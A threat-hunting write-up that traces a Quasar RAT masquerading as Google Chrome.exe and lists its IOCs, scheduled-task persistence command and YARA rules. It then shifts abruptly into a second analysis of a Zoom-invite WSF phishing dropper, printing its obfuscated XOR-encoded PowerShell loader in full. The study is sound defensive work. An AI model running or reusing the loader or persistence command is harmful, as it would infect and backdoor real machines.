• Google Chrome.exe
  • Path: C:\Users\Daniyyell-Client\Desktop\Fakenet3.3\Google Chrome.exe
  • Publisher: Google LLC

Now that we’ve identified these items as suspicious, we will keep them in mind as we continue analysing the remaining hunting package logs. In the meantime, we will remain vigilant for anything else that stands out and will correlate the results later.

2.3 Windows.Detection.BinaryHunter

Windows.Detection.BinaryHunter is a client artifact developed by Matt Green (@mgreen27) that provides powerful capabilities for hunting binary file attributes. It accepts a glob pattern as input to target specific files and examines each file within scope for the presence of an MZ header as shown in Fig 4. The artifact also retrieves Authenticode metadata and parses Portable Executable (PE) attributes for analysis.

Using regular expressions and whitelists, the output of both PE and Authenticode queries can be filtered to identify relevant strings. This enables the detection of specific elements such as PE imports, exports, or other attributes.

Fig 4: Windows.Detection.BinaryHunter

Filters in this artifact are cumulative; for example, if a file is excluded by one filter, it will not produce results even if it matches other filters, such as a hash-based filter. To optimise performance, it is recommended to use path, size, and date filters. By default, the artifact uses the “auto” data accessor, although this can be modified as needed.

2.3.1 Results and Analysis

Detailed Binary Analysis: Google Chrome.exe

Overview of File Attributes

The binary analysed, Google Chrome.exe, is located at C:\Users\daniyyell-client\AppData\Roaming\SubDir, a directory often exploited by malware for persistence. Its size is 3,333,632 bytes, and the timestamps suggest recent creation, with the birth time recorded as 2024-12-29T13:51:19Z.

Authenticode Analysis

The file lacks any Authenticode metadata, such as a valid publisher or timestamp, and its trust status is marked as “Unknown” as shown in Fig 5. This absence of digital signing is unusual for legitimate software distributed by reputable companies like Google. The mismatch between computed hash values and the Authenticode hash further indicates possible tampering.

Fig 5: Windows.Detection.BinaryHunter

Authenticode Summary

Section Details

The binary contains three sections, each with distinct characteristics. The .text section is executable and occupies the largest portion of the file, while .rsrc and .reloc are read-only sections.

Resource Directory

The file includes embedded resources such as icons and version metadata. Notably, the RT_ICON resource is significantly large, which could indicate attempts to mimic legitimate branding or obscure malicious content.

Version Information

The binary’s metadata claims to belong to Google LLC, with the product name “Google Chrome” and version 131.0.5993.90. However, version information is easily spoofed and must be corroborated with additional verification.

Metadata Overview

Import Analysis

The binary imports a single DLL, mscoree.dll, and references _CorExeMain, indicating it is a .NET application. Managed .NET files often involve obfuscation techniques, making static analysis challenging and necessitating dynamic testing.

Hash Analysis

The computed hash values differ from the Authenticode hash, raising concerns about potential tampering. Hash mismatches are a strong indicator of modification or malicious intent.

Analysis and Findings

The binary exhibits several red flags:

1. Suspicious File Path: The location is a common hiding spot for malware.
2. Unsigned Binary: The absence of a digital signature is unusual for Google software.
3. Hash Mismatch: This indicates the binary may have been tampered with.
4. Large Resources: Abnormally large icon files may be used for deceptive purposes.

2.3.2 Conclusion

Following the detailed analysis of the binary Google Chrome.exe, the next steps will involve reviewing additional Velociraptor artifacts to gather a broader context regarding the system’s state and potential indicators of compromise (IOCs). Once this data is collected, the hashes and other extracted IOCs will be thoroughly analysed against threat intelligence sources to confirm any malicious activity and identify its scope. This combined approach ensures a comprehensive understanding of the binary’s role within the system and its potential impact.

2.4 Windows.EventLogs.Evtx

The Windows.EventLogs.Evtx artifact, developed by Chris Hendricks (chris@counteractive.net), is a powerful tool for extracting and analysing events from Windows event logs (evtx files) as depicted in Fig 6. Each event is returned in full detail, but the results can be refined using a range of filters to focus on specific files, timeframes, paths, channels, or event IDs.

This artifact allows users to target specific event logs through glob patterns while also narrowing results by defining start and end timestamps. Regular expressions can be applied to match file paths, event channels, or event IDs, enabling precise and efficient searches. The parsed data is suitable for further processing, such as bulk exports to Elasticsearch or in-depth analysis using Velociraptor Query Language (VQL). It also serves as a foundation for creating custom artifacts with enhanced filtering capabilities.

Fig 6: Windows.EventLogs.Evtx

Performance optimisation is crucial when using this artifact, as it can be resource-intensive. Parsing large logs or processing Volume Shadow Copies (VSS) may demand significant CPU and memory resources. To mitigate this, users are encouraged to reduce operations per second, refine glob patterns, or apply stricter regex filters. In scenarios involving extensive logs or high-volume third-party sources like Sysmon, extending default timeouts may also be necessary.

The artifact often produces a substantial volume of results, sometimes exceeding hundreds of thousands of rows per host. Filtering outputs using regex for paths, channels, or event IDs is recommended to maintain manageable datasets. Despite these challenges, the artifact’s capability to parse, aggregate, and analyse events makes it a valuable tool for incident response and forensic investigations.

This artifact is inspired by others within the Windows.EventLogs* family, with notable contributions from Matt Green (@mgreen27).

2.4.1 Results and analysis

Overview of the Event

The Windows.EventLogs.Evtx artifact reveals significant results from a detection event triggered by Microsoft Defender Antivirus as shown in Fig 7. The event details are from the Windows Defender Operational channel and pertain to a security action taken against a potential threat on the system.

Fig 7: Windows.EventLogs.Evtx

Event Information

The key information in the event is summarised below:

Event Breakdown

The event, logged with EventID 1117, indicates that Microsoft Defender Antivirus detected a Backdoor:MSIL/Quasar!atmn malware in the system. This particular threat, identified with the threat ID 2147841732, was classified as a Severe severity, categorized as a Backdoor. The infection was detected at 2024-12-29T00:49:17.470Z, and the Google Chrome.exe file, located on the desktop of the user daniyyell-client, was flagged as suspicious.

The action taken by Defender was to quarantine the file, and no additional actions were required. The detection originated from the local machine, specifically from Real-Time Protection. The event also reveals that the process associated with the infection was C:\Windows\explorer.exe, and the user involved was the system user NT AUTHORITY\SYSTEM.

Message Description

The message from the event log confirms that Microsoft Defender Antivirus successfully quarantined the Google Chrome.exe file after detecting the Backdoor:MSIL/Quasar!atmn threat. It also provides further details, including the detection source and the engine versions used at the time of detection. The operation was completed successfully, as indicated by the error code 0x00000000.

2.4.2 Conclusion and Summary of Windows.EventLogs.Evtx

The Windows.EventLogs.Evtx artifact provides detailed information regarding a detection event triggered by Microsoft Defender Antivirus. This event pertains to the detection of a Backdoor:MSIL/Quasar!atmn threat, which was flagged as severe. The detection took place on 2024-12-29 and was associated with the file Google Chrome.exe located on the user’s desktop.

The event was logged in the Microsoft-Windows-Windows Defender Operational channel, specifically with Event ID 1117. It shows that Microsoft Defender took the action of quarantining the infected file to mitigate potential harm. The Google Chrome.exe file was identified as a potential backdoor malware, and its process was associated with explorer.exe. This indicates that the malware may have been launched through the system’s file explorer.

The analysis of this log entry reveals how the antivirus system reacted to a detected threat and took the necessary action to protect the system. The severity of the threat, its classification as a backdoor, and the successful quarantine action highlight the efficiency of Microsoft Defender in responding to malware threats.

2.5 Windows.Sysinternals.Autoruns

The Velociraptor artifact Windows.Sysinternals.Autoruns is designed to analyse autostart entries within a Windows system. These entries represent various points where applications or DLLs are configured to launch automatically, often serving as persistence mechanisms. The artifact begins by defining a list of flags and options. Flags correspond to specific categories of autostart entries, such as “Boot execute” or “Appinit DLLs,” while options include additional features like verifying digital signatures.

The artifact processes these definitions to determine the user-selected flags and options. It then identifies the system architecture, such as x86 or x64, to ensure the correct Autoruns binary is retrieved using the Artifact.Generic.Utils.FetchBinary function. Once the appropriate binary is fetched, it is executed with a range of arguments. These include suppressing banners, automatically accepting the End User License Agreement, and specifying the types and categories of autostart entries to analyse. The command also enables hash calculations for files and processes entries across all user profiles.

The output from the executed command is retrieved and parsed into rows. It is processed as CSV data, allowing for structured interpretation and further filtering. This approach ensures that analysts receive detailed information about autostart entries, including file hashes and digital signature validation results.

The artifact supports extensive customisation, enabling analysts to focus on specific autostart categories or apply validation checks. Its ability to process multiple user profiles and generate hash data makes it particularly valuable for detecting persistence mechanisms, unauthorised modifications, or malicious startup behaviour within the system. By combining flexibility and detailed output, this artifact serves as a critical tool for investigating potential threats effectively.

2.5.1 Autostart Entry Analysis

The artifact allows for the detailed examination of autostart entries across various system locations, including:

• Task Scheduler
• Registry Run Keys
• Startup Folders
• Service Entries
• Browser Add-ons

By providing a comprehensive list of all programs configured to start automatically, it enables analysts to detect abnormal or unauthorized entries, which can be indicative of a compromise. This feature is crucial for identifying both legitimate software and malicious entities using persistence techniques.

2.5.2 Persistence Detection

Persistence is a common tactic used by attackers to maintain access to compromised systems. This artifact plays a critical role in detecting such mechanisms by identifying:

• Malicious scheduled tasks, especially those using disguised or misleading names.
• Unusual entries pointing to executables in unexpected locations, such as the AppData or Temp directories as shown in Fig 8, which are commonly abused by malware.
• Abnormal registry modifications and manipulated autostart configurations that could signal unauthorized access or a foothold on the system.

Fig 8: Windows.EventLogs.Evtx

By exposing these autostart mechanisms, Autoruns helps analysts uncover how attackers have maintained persistent access, allowing them to take appropriate containment and remediation actions.

2.5.3 Digital Signature Validation

The artifact verifies the digital signatures of autostart entries, helping analysts differentiate between trusted, legitimate software and potentially malicious binaries. It does this by:

• Identifying unsigned or improperly signed binaries, which are often a hallmark of malware.
• Checking the validity of the signature to ensure that the file has not been tampered with or altered by malicious actors.

This validation step is vital for assessing the integrity of files and ensuring that only verified software is running on the system. Any unsigned or suspiciously signed software can be flagged for further investigation.

2.5.4 Hashing for Threat Intelligence

Autoruns generates cryptographic hashes (MD5, SHA-1, SHA-256) for all detected binaries. This functionality enables analysts to:

• Compare the generated hashes against known malware databases (such as VirusTotal or MISP) to identify potentially malicious files.
• Track file modifications, detect new malware variants, or identify malware spreading across multiple endpoints.
• Correlate the data with other threat intelligence sources to understand the scope of an attack or identify patterns in the malware’s behavior.

2.5.5 Granular Filtering and Scoping

The artifact provides the ability to scope the search based on system-wide or user-specific autostart entries. This flexibility allows analysts to:

• Focus on specific users or applications when investigating targeted attacks or insider threats.
• Identify whether certain malicious activities are being initiated by specific users or system-wide processes, streamlining the investigation process.

2.5.6 Results and Analysis

The extracted results provide a detailed breakdown of a suspicious entry discovered in the Task Scheduler. This entry appears to be masquerading as a legitimate Google Chrome process but has several indicators of potential compromise. The following table summarises the key findings:

2.5.7 Thorough Analysis

1. Suspicious File Path and Name
   The file is located in the AppData\Roaming directory, which is often used by malware due to its accessibility and lack of frequent monitoring. The name Client.exe is generic and provides no clear indication of its purpose.

2. Unverified Digital Signature
   Although the file claims to be signed by “Google LLC,” the lack of verification indicates potential tampering or forgery, a common technique used by attackers to disguise malicious binaries as legitimate ones.

3. Hash Values and Integrity
   The provided MD5, SHA-1, and SHA-256 hashes do not correspond to any known legitimate Google Chrome executables. These hashes can be cross-checked against threat intelligence databases like VirusTotal for further validation.

4. Task Scheduler Exploitation
   The use of Task Scheduler for persistence is concerning. This method ensures the malicious file executes at regular intervals or system startup, maintaining the attacker’s foothold on the system.

5. Deceptive Attributes
   The version number, company name, and description are crafted to mimic a legitimate Google Chrome task. This social engineering tactic aims to mislead both end-users and system administrators.

6. Potential Threat
   Given the above indicators, this scheduled task is likely part of a malicious campaign targeting system-wide persistence. Immediate action should be taken to quarantine and analyse the file, as well as to review other scheduled tasks for similar anomalies.

By identifying these suspicious attributes and correlating them with other findings, this entry provides a clear example of a potential compromise. Analysing the last artifact which is Windows.Network.NetstatEnriched.

2.6 Windows.Network.NetstatEnriched

NetstatEnhanced is an extension of the traditional netstat tool that provides additional details about network connections. It adds extra data points such as process IDs (PIDs), associated process names, and user information, helping to identify malicious or suspicious connections as shown in Fig 9. It allows for verbose search options, enabling granular filtering of network data by IP address, port, protocol, or connection state. This helps analysts detect unusual or unauthorized network activity more effectively.

Fig 9: Windows.EventLogs.Evtx

NetstatEnhanced enriches the data by adding context, such as timestamps and connection history. It can be used alongside other artifacts for comprehensive analysis, such as correlating network connections with specific processes or files.

This artifact is particularly useful for malware investigations, incident response, and threat hunting, where tracking suspicious network activity and correlating it with system events is crucial. It helps identify malicious processes, track C2 communication, and uncover potential data exfiltration as shown in Fig 10.

2.6.1 Thorough Analysis: Windows.Network.NetstatEnriched

The Windows.Network.NetstatEnriched artifact provides detailed information about network connections and the processes associated with them. It extends the capabilities of the standard Netstat tool by adding additional data points, such as process information, file hashes, and more verbose search options. This analysis looks into one specific network connection and its associated process, providing insights into potential security concerns.

Process Information:

• PID: 4764
• PPID: 3360
• Process Name: Google Chrome.exe
• Path: C:\Users\daniyyell-client\AppData\Roaming\SubDir\Google Chrome.exe
• Command Line: "C:\Users\daniyyell-client\AppData\Roaming\SubDir\Google Chrome.exe"
• User: DESKTOP-U9HDOEJ\daniyyell-client

File Hashes:

• MD5: 2e7edc4208fab86b9f8e8f807355cabc
• SHA1: 983b8ca41f8b47f5c331b971576b70ef5722cdcb
• SHA256: a1bbf3ef5b341d1fd483cd8fb0e1c1a1a8f5d71a4ecb8ddb417c33da75a566d6

Digital Signature (Authenticode):

• Trusted: untrusted
• Filename: Google Chrome.exe
• Publisher: Unknown (untrusted signature)
• Additional Info: No further available details

Network Connection:

• Protocol: TCP
• Status: ESTABLISHED
• Local Address: 192.168.30.138 (Local IP)
• Local Port: 50169
• Remote Address: 192.168.30.131 (Remote IP)
• Remote Port: 4782
• Timestamp: 2024-12-29T13:51:21Z

Fig 10: Windows.EventLogs.Evtx

this section summarizes details about a process (Google Chrome.exe) along with its network activity. The file path and associated command line are specified, and hash values for different algorithms (MD5, SHA1, SHA256) are provided to validate file integrity. The digital signature is untrusted, indicating potential concerns about its legitimacy. Additionally, the network connection established by the process is highlighted with local and remote IP addresses and ports, as well as the connection’s status and timestamp for further investigation.

3.0 VirusTotal Analysis

Throughout the analysis, we have observed that the hash a1bbf3ef5b341d1fd483cd8fb0e1c1a1a8f5d71a4ecb8ddb417c33da75a566d6 has been associated with Google Chrome.exe. In this section, we will submit this hash to VirusTotal [5] to examine the results and determine malicious artefacts as shown in Fig 11.

Fig 11: Virustotal results

3.1 Summary: File Analysis

The file associated with the hash a1bbf3ef5b341d1fd483cd8fb0e1c1a1a8f5d71a4ecb8ddb417c33da75a566d6 has been flagged by 48 out of 72 security vendors as malicious as shown in Fig 12. This file, named Google Chrome.exe, is identified as a Win32 executable with a .NET assembly and is classified as a PE32 executable.

Fig 12: Virustotal results

The file has been flagged for suspicious behavior, including using the schtasks command line utility to create a task called “Google Chrome Client as shown in Fig 13.” This task is set to execute the file on system logon with elevated privileges, suggesting it is used for persistence. Additionally, the file communicates with external IP addresses such as 20.99.186.246:443, 23.192.210.9:443, and 192.168.30.131:4782, which could indicate a command-and-control (C2) server for further instructions or data exfiltration.

The file is written to multiple directories on the system, including C:\Users\<USER>\AppData\Roaming\SubDir\Google Chrome.exe and C:\Windows\System32\Tasks\Google Chrome Client, further reinforcing its persistence mechanism. It also interacts with other system processes such as taskhostw.exe. This Quasar RAT shell script sets up persistence using Scheduled Tasks and likely disguises itself as Google Chrome to evade detection.

Fig 13: Virustotal results

Given these indicators, the file is a potential threat, and it is recommended to take immediate action to isolate and remove it from the system, as well as to investigate the broader network for any additional signs of compromise.

3.2 Indicators of Compromise (IOCs)

Here is a list of IOCs identified during the analysis:

File Hashes:

• MD5: 2e7edc4208fab86b9f8e8f807355cabc
• SHA-1: 983b8ca41f8b47f5c331b971576b70ef5722cdcb
• SHA-256: a1bbf3ef5b341d1fd483cd8fb0e1c1a1a8f5d71a4ecb8ddb417c33da75a566d6

File Path:

• C:\Users\<USER>\AppData\Roaming\SubDir\Google Chrome.exe

Network Indicators:

• Remote IP Address: 192.168.30.131
• Remote Port: 4782
• Local IP Address: 192.168.30.138
• Local Port: 50169
• C2 IP: 192.168.30.131

Scheduled Task:

• Task Name: Google Chrome Client
• Command: "schtasks" /create /tn "Google Chrome Client" /sc ONLOGON /tr "C:\Users\<USER>\AppData\Roaming\SubDir\Google Chrome.exe" /rl HIGHEST /f

Process Information:

• Process Name: Google Chrome.exe
• Command Line: "C:\Users\<USER>\AppData\Roaming\SubDir\Google Chrome.exe"
• Parent Process: taskhostw.exe

Additional File Paths:

• C:\Windows\System32\Tasks\Google Chrome Client
• C:\Users\<USER>\AppData\Roaming\SubDir\Google Chrome.exe

Base on the analysys, we can see that this Quasar RAT shell script is designed to establish persistence on a compromised system using Scheduled Tasks while disguising itself as Google Chrome. The script ensures that the malware is executed automatically each time the user logs in.

The command using schtasks creates a scheduled task named “Google Chrome Client” and sets it to run on user login. The malware executable is stored in the AppData\Roaming directory under a subfolder, making it appear as a legitimate Chrome file. The task is configured to run with elevated privileges, ensuring that it has full system access.

The script also references different execution paths, indicating that the malware may be deployed in various locations. These include %APPDATA%\Roaming\SubDir\Google Chrome.exe and other similar directories. By storing the payload in these hidden locations, the attacker increases the difficulty of detection.

Additionally, the script abuses taskhostw.exe, a legitimate Windows process, by running a command that registers device settings. This action may help the malware evade security tools or modify system configurations to ensure continued execution.

Overall, this script is designed to maintain persistence, evade detection, and execute the Quasar RAT payload stealthily. Detecting and mitigating it requires examining Scheduled Tasks, scanning the AppData\Roaming directory for suspicious executables, and monitoring taskhostw.exe for unusual activity.

These IOCs were instrumental in detecting the presence of the Quasar RAT and uncovering its persistence mechanisms on the infected system.

3.3 Ruleset: QuasarRAT

rule QuasarRAT {
    meta:
        author = "ditekshen"
        description = "QuasarRAT payload"
        cape_type = "QuasarRAT Payload"
    strings:
        $s1 = "GetKeyloggerLogsResponse" fullword ascii
        $s2 = "GetKeyloggerLogs" fullword ascii
        $s3 = "/>Log created on" wide
        $s4 = "User: {0}{3}Pass: {1}{3}Host: {2}" wide
        $s5 = "Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}" wide
        $s6 = "grabber_" wide
        $s7 = "<virtualKeyCode>" ascii
        $s8 = "<RunHidden>k__BackingField" fullword ascii
        $s9 = "<keyboardHookStruct>" ascii
        $s10 = "add_OnHotKeysDown" ascii
        $mutex = "QSR_MUTEX_" ascii wide
        $ua1 = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0" fullword wide
        $us2 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A" fullword wide
    condition:
        uint16(0) == 0x5a4d and ($mutex or (all of ($ua*) and 2 of them) or 6 of ($s*))
}

rule quasarrat_kingrat {
    meta:
        author = "jeFF0Falltrades"
        cape_type = "QuasarRAT Payload"
    strings:
        $str_quasar = "Quasar." wide ascii
        $str_hidden = "set_Hidden" wide ascii
        $str_shell = "DoShellExecuteResponse" wide ascii
        $str_close = "echo DONT CLOSE THIS WINDOW!" wide ascii
        $str_pause = "ping -n 10 localhost > nul" wide ascii
        $str_aes_exc = "masterKey can not be null or empty" wide ascii
        $byte_aes_key_base = { 7E [3] 04 73 [3] 06 25 }
        $byte_aes_salt_base = { BF EB 1E 56 FB CD 97 3B B2 19 }
        $byte_special_folder = { 7e 73 [4] 28 [4] 80 }
        $patt_config = { 72 [3] 70 80 [3] 04 }
        $patt_verify_hash = { 7e [3] 04 6f [3] 0a 6f [3] 0a 74 [3] 01 }
    condition:
        6 of them and #patt_config >= 10
}

4.0 Comparison, Contrast, and Deep Analysis of Various Artifacts

In this section, we will compare and contrast the following Windows artifacts:

• Windows.Analysis.EvidenceOfDownload
• Windows.Analysis.EvidenceOfExecution/Amcache
• Windows.Detection.BinaryHunter
• Windows.EventLogs.Evtx
• Windows.Sysinternals.Autoruns
• Windows.Network.NetstatEnriched

These artifacts provide critical insights into the state of an endpoint during an investigation, from downloads and execution to network activity and autostart configurations.

4.1 Comparison Table

4.2 Integration and Complementary Use

While each artifact provides valuable individual insights, their real power lies in their integration:

• Windows.Analysis.EvidenceOfDownload and EvidenceOfExecution/Amcache can be used in tandem to trace a file from download to execution, providing a clearer picture of the attack lifecycle.
• Windows.EventLogs.Evtx and Windows.Detection.BinaryHunter are invaluable when correlating suspicious system activity with detected threats, helping investigators see the broader picture of an attack.
• Windows.Sysinternals.Autoruns can help confirm if a downloaded or executed file has managed to establish persistence by creating autorun entries, linking to EvidenceOfExecution/Amcache.
• Windows.Network.NetstatEnriched adds another layer by showing whether these processes are interacting with external servers, hinting at potential C2 communication.

4.3 Conclusion

In conclusion, these artifacts collectively offer a comprehensive approach to identifying, analyzing, and mitigating threats on Windows systems. While each artifact specializes in a specific area of an attack (such as file downloads, execution, persistence, or network activity), their combination allows investigators to get a full picture of an attack’s progression. By using Velociraptor or similar tools, analysts can effectively tie these various data points together, uncovering hidden threats and persistence mechanisms. These artifacts are especially useful in discovering undetected malware, like the Quasar RAT, and their interactions with system processes, files, and network traffic.

Each of these artifacts plays a vital role in modern incident response workflows and provides crucial insights for both proactive and reactive investigations.

5.0 Result & Conclusion

This analysis has demonstrated how Velociraptor’s investigative capabilities were instrumental in uncovering the presence of a malicious Google Chrome.exe file, which was previously unidentified. By utilizing Velociraptor to search through system logs and files, including the Windows Event Logs and Autoruns, we were able to detect anomalies related to the suspicious execution of the Chrome executable. The file was found to exhibit abnormal behavior, including establishing connections with remote IP addresses and creating scheduled tasks for persistence.

Further investigation revealed that the file was associated with a Quasar RAT infection. Quasar RAT is a known remote access tool commonly used by attackers to maintain persistent access and exfiltrate data. The file’s suspicious activity, including communicating with a C2 server and performing tasks associated with persistence, confirmed that it was part of a broader attack chain.

By leveraging Velociraptor’s we were able to quickly uncover this threat and identify its connection to Quasar RAT. This allowed for a faster response, helping mitigate the risk posed by the malware. The ability of Velociraptor to efficiently analyze event logs, detect file alterations, and monitor real-time system behavior proved to be a valuable asset in identifying unknown threats and enhancing overall security posture.

6.0 References

[1] Splunk, “The PEAK Threat Hunting Framework | Splunk,” Splunk, Mar. 31, 2023. Available: https://www.splunk.com/en_us/form/the-peak-threat-hunting-framework.html. [Accessed: Jan. 05, 2025]

[2] S. Mirza, “Threat Hunting: Process, Methodologies, Tools And Tips,” Cyphere, Dec. 20, 2021. Available: https://thecyphere.com/blog/threat-hunting/. [Accessed: Jan. 05, 2025]

[3] CyberProof, “What Is Threat hunting?,” CyberProof. Available: https://www.cyberproof.com/cyber-101/threat-hunting/. [Accessed: Jan. 05, 2025]

[4] Velociraptor, “Deployment :: Velociraptor - Digging deeper!,” Velociraptor.app, 2022. Available: https://docs.velociraptor.app/docs/deployment/. [Accessed: Jan. 05, 2025]

[5] Virustotal, “VirusTotal,” Virustotal.com, Feb. 09, 2025. Available: https://www.virustotal.com/gui/file/a1bbf3ef5b341d1fd483cd8fb0e1c1a1a8f5d71a4ecb8ddb417c33da75a566d6. [Accessed: Feb. 09, 2025]

[6] S. Hanson and G. Glass, “Cyber Threat Hunting Explained: Advanced Techniques, Tools, and Intelligence,” Kroll, Dec. 02, 2024. Available: https://www.kroll.com/en/insights/publications/cyber/what-is-cyber-threat-hunting. [Accessed: Feb. 09, 2025]

[7] J. Perez, “What Is Threat Hunting? Techniques, Tools, and Types,” Veeam Software Official Blog, Oct. 08, 2024. Available: https://www.veeam.com/blog/threat-hunting.html. [Accessed: Feb. 09, 2025]

[8] M. Popa, “Stay Ahead of Cyberthreats with Proactive Threat Hunting,” Heimdal Security Blog, Apr. 21, 2023. Available: https://heimdalsecurity.com/blog/proactive-threat-hunting/. [Accessed: Feb. 09, 2025]

[9] Digital, Data & Technology, “Detecting the Unknown: a Guide to Threat Hunting,” 2019. Available: https://hodigital.blog.gov.uk/wp-content/uploads/sites/161/2020/03/Detecting-the-Unknown-A-Guide-to-Threat-Hunting-v2.0.pdf. [Accessed: Feb. 09, 2025]

Phishing campaigns are among the most common tactics employed by cybercriminals to distribute malware, capitalising on trust and human error to infiltrate systems. A simple example of this is the Zoom_Invite.call.wsf attack, which utilises fake Zoom meeting invitations to lure unsuspecting users into downloading malicious files. This post embarks on an exploration of the techniques employed in this campaign, revealing how attackers leverage social engineering and sophisticated obfuscation methods to evade security measures.

In our detailed analysis of the Zoom_Invite.call file, the initial scan of this file shows 3/63 detection rate virus scan on VirusTotal as shown in Fig 1. We uncover its connection to hxxps://paste.ee/r/2FDzd/, from which a dangerous powershell payload is downloaded. Our investigation includes static analysis that reveals hidden variables like $cake and $oven, leading us to discover a Telegram Command and Control (C2) configuration embedded in the malware. Furthermore, we perform dynamic analysis using VirusTotal to extract critical Indicators of Compromise (IoCs). Ultimately, we develop a YARA rule designed to detect this malicious activity in the future.

Figure 1: VirusTotal Scan Results

Phishing Analysis

In this next phase, we will examine the Zoom_Invite.call file, which has a .wsf extension as shown in Fig 2. Our goal is to spend some time analysing the file to understand its functionality and behaviour.

Figure 2: Main Scripts Extracted

The WSF file

<package>
<job id="manage-tujthyqgfu">
<script language="VBScript">

'NOTE :    The Social Security Administration (SSA) is a pivotal institution in the United States, ensuring financial stability and support for millions of Americans.
'      Created in 1935 under President Franklin D. Roosevelts New Deal, the SSA administers Social Security, a program designed to provide economic security through retirement, disability, and survivors benefits.
'      Funded by payroll taxes collected under the Federal Insurance Contributions Act (FICA), Social Security is a primary source of income for many retired and disabled individuals.
'      The SSAs duties encompass a wide range of functions, including processing benefit applications, maintaining accurate earnings records, and disbursing monthly payments to beneficiaries.
'      By managing the Social Security Trust Fund, the SSA ensures that the funds are available to pay current and future benefits.
'      The agency also conducts regular reviews to verify eligibility and prevent fraud, maintaining the programs integrity.
'      In addition to financial benefits, the SSA administers Medicare, the federal health insurance program for people aged 65 and older or with specific disabilities.
'      Medicare significantly reduces the financial burden of healthcare costs for millions of Americans, providing access to essential medical services.
'      The SSAs impact on American society is profound.
'      By offering a safety net for the elderly, disabled, and survivors of deceased workers, the SSA helps reduce poverty and improve the quality of life for vulnerable populations.
'      The agency also provides valuable resources and guidance to help individuals understand their benefits and make informed decisions about their future.
'      Through its comprehensive programs and services, the SSA continues to play a critical role in promoting economic security and well-being for all Americans.
'      manage-tujthyqgfu.wsf has been replaced.



'strArgs = "uxhiakccit"

'For I = 0 to WScript.Arguments.Count - 1
   'strArgs = strArgs & " " & WScript.Arguments(I)
'Next

'strArgs = strArgs & " -legacy_Vista"
With CreateObject(Replace("WscREDROript.ShREDROell" , "REDRO" , ""))
    .Run "powershell ""$ReDrO = InvOkE-eXpreSSion ( ( [char[]] (62 , 72,39,61 ,83 , 127,66,50,84 , 127 , 61 , 33 , 62, 72, 95, 58, 39, 58 , 62 ,72 ,49 , 61,77 , 55, 85, 88,80, 61, 33 , 62, 72 ,95 ,94, 58, 39,58 ,62, 72, 95,49, 61 , 127 ,89,78 , 58 ,84,127,78,52 , 77 , 61, 33, 62,74 ,91 , 89 , 39 ,61, 127 , 88 , 89 ,86, 61, 33,62 ,98,98, 58 ,39 ,58, 62, 74, 91 , 89 , 49, 61, 83, 127,84, 61,33, 62,72,85,58, 39 ,58 , 62 ,98 , 98 ,49,61,78,51 , 52, 94 ,85 ,77 ,84, 86 , 85,61,33, 62, 96 , 96, 39 , 61 ,85, 90,42 , 50 ,60 ,50 ,61 ,61 , 114,110 , 110 , 106, 105,32, 53, 53 , 106,123 ,105, 110 , 127,52,127,127, 53, 104, 53,40, 92,94,96,126, 53, 42, 61, 61,51 , 61 , 52,72, 127 ,74,86 , 91, 89 , 127 ,50,61,85 ,90,42, 50, 60, 61 ,54 , 61, 91 ,94, 73,78 , 72, 83 ,84 ,93,61,51, 33 ,115 ,127,98 , 50,62,72 ,95, 94 , 49 , 62,72 , 85 , 49, 62 ,96 , 96 , 51 ) | %{[char] ( $_-BXOR '0x1a' ) } )-JOIN'') ; powershell $ReDrO"" " , 0 , True    
End With
'Set objShell = WScript.CreateObject("WScript.Shell")

'Set objExecObject = objShell.Exec("%comspec% /c manage-tujthyqgfu.exe " & strArgs)

'Do While Not objExecObject.StdOut.AtEndOfStream
    'WScript.StdOut.WriteLine objExecObject.StdOut.ReadLine()
'Loop

'Do While Not objExecObject.StdErr.AtEndOfStream
    'WScript.StdErr.WriteLine objExecObject.StdErr.ReadLine()
'Loop

</script>
</job>
</package>

The scripts appear suspicious due to their content. The note highlights that the Social Security Administration (SSA) may raise concerns regarding integrity. Nevertheless, we will focus on the analysis in the next phase, particularly examining the code illustrated in Fig 3.

Figure 3: Suspicious Activity Detected

Injection points

'strArgs = "uxhiakccit"

'For I = 0 to WScript.Arguments.Count - 1
   'strArgs = strArgs & " " & WScript.Arguments(I)
'Next

'strArgs = strArgs & " -legacy_Vista"
With CreateObject(Replace("WscREDROript.ShREDROell" , "REDRO" , ""))
    .Run "powershell ""$ReDrO = InvOkE-eXpreSSion ( ( [char[]] (62 , 72,39,61 ,83 , 127,66,50,84 , 127 , 61 , 33 , 62, 72, 95, 58, 39, 58 , 62 ,72 ,49 , 61,77 , 55, 85, 88,80, 61, 33 , 62, 72 ,95 ,94, 58, 39,58 ,62, 72, 95,49, 61 , 127 ,89,78 , 58 ,84,127,78,52 , 77 , 61, 33, 62,74 ,91 , 89 , 39 ,61, 127 , 88 , 89 ,86, 61, 33,62 ,98,98, 58 ,39 ,58, 62, 74, 91 , 89 , 49, 61, 83, 127,84, 61,33, 62,72,85,58, 39 ,58 , 62 ,98 , 98 ,49,61,78,51 , 52, 94 ,85 ,77 ,84, 86 , 85,61,33, 62, 96 , 96, 39 , 61 ,85, 90,42 , 50 ,60 ,50 ,61 ,61 , 114,110 , 110 , 106, 105,32, 53, 53 , 106,123 ,105, 110 , 127,52,127,127, 53, 104, 53,40, 92,94,96,126, 53, 42, 61, 61,51 , 61 , 52,72, 127 ,74,86 , 91, 89 , 127 ,50,61,85 ,90,42, 50, 60, 61 ,54 , 61, 91 ,94, 73,78 , 72, 83 ,84 ,93,61,51, 33 ,115 ,127,98 , 50,62,72 ,95, 94 , 49 , 62,72 , 85 , 49, 62 ,96 , 96 , 51 ) | %{[char] ( $_-BXOR '0x1a' ) } )-JOIN'') ; powershell $ReDrO"" " , 0 , True    
End With

Reverse this VBScript snippet

To reverse the process, a Python script is required to extract the array of numbers in the [char[]] block. Each number will be XORed with 0x1a to retrieve the original ASCII value. The resulting ASCII values will then be converted back into characters. Finally, these characters will be joined together to form the final PowerShell command.

Many researchers can decide to use different methods to reverse the [char[]] value to understand what the code is meant to do. However, we will use Python for this task. In this case, we do not know what we will find from the [char[]] value, but let’s see.

# Let passs the original obfuscated char array in "char_array"
